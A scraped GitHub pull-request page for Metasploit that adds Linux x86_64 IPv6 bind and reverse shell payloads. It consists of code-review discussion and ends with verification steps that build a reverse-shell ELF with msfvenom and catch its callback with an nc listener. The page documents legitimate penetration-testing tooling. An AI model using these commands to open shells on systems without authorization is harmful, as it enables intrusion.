-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add linux x64 ipv6 reverse shell #11039
Add linux x64 ipv6 reverse shell #11039
Conversation
Implements inline x86_64 Linux reverse bourne shell over IPv6.
Offsets for scopeid and lport were incorrect in the previous commit. Updated offsets to the correct values. Confirmed by viewing the connect syscall values with strace.
Implements inline x86_64 Linux bourne bind shell over IPv6.
Any chance you could implement via metasm in lib? Makes for much more reusable shellcode. |
I looked through the other payloads for examples. Are you asking for something similar to All of the payloads I could find appear to have the assembly as a string, then a call to Is that all you're looking for? |
Take a look in lib/MSF/core/payload for lots of examples.
And yes, that's exactly what we're looking for. Thank you!
…On Tue., 4 Dec. 2018, 22:35 epi052 ***@***.*** wrote:
I looked through the other payloads for examples. Are you asking for
something similar to
metasploit-framework/modules/payloads/stages/linux/x64/meterpreter.rb?
All of the payloads I could find appear to have the assembly as a string,
then a call to Metasm::Shellcode.assemble
Is that all you're looking for?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#11039 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AABw4CWV-VGCENZ950W49Ck_x_VuAg6oks5u1mwHgaJpZM4Y5hFQ>
.
|
Per the linked request rapid7#11039 (comment) Rewrote previous payload module to make use of metasm for more reusable shellcode.
Finished the bind shell. Mind taking a look at that before I do the reverse? |
…ia metasm in lib.
… metasm in lib.
Per the linked request rapid7#11039 (comment) Rewrote previous version of payload module to make use of metasm for more reusable shellcode.
Both ipv6 payloads should be good to go. |
Gemfile
Outdated
@@ -1,4 +1,5 @@ | |||
source 'https://rubygems.org' | |||
gem 'pry' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We probably don't need this in this PR.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Isn't pry already part of MSF? Or is that just a dev group thing?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I worked myself into a detached head state as far as git is concerned. Had never seen that and googled how to get the work I'd done back into the proper branch. The fix action snuck this little guy in. I never explicitly git add
ed the Gemfile, however it got included and I didn't realize. I'll get it out of the PR shortly. Sorry about that.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Removed the modified Gemfile.
tcp_port.pop # removes the first useless / from the array | ||
tcp_port.shift # removes the last useless / from the array | ||
tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string. | ||
binding.pry |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
forgot something?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It appears so. I removed it from this branch/pull request. It looks like I need to go to git school... I clearly jacked something up. I wanted the two pull requests to be separate branches and separate work. However, it didn't work out that way. I'm sure it was user-error on my part. Thanks for checking it over.
I ended up getting both bind payloads in both branches exactly the same. Sorry again for the confusion.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Along the same lines, what should I do about the other PR, since this one has both payloads anyway?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We could close the other, or fix this one. Closing the other would likely be easier, but it is up to you.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Closed the other PR. Please let me know if anything else is needed on my end.
In response to rapid7#11039 (comment).
I know you all have been doing great things getting MSF 5.0 out and obviously been busy. Just wanted to check in and see if there was anything I still needed to do for this. Thanks! |
|
|
Merge branch 'land-11039' into upstream-master
Release NotesThis adds Linux x86_64 IPv6 bind and reverse shell payloads to the framework. |
Merge branch 'land-11039' into upstream-master
Implements inline x86_64 Linux reverse bourne shell over IPv6.
Verification
List the steps needed to make sure this thing works
ifconfig ...
./msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST='dead:beef:2::1009' -f elf -o test.elf
nc -nvl6p 4444
./test.elf
id
connect
syscall to view sockaddr_in6 structDemonstration
Create elf and upload to remote machine
Start listener and catch callback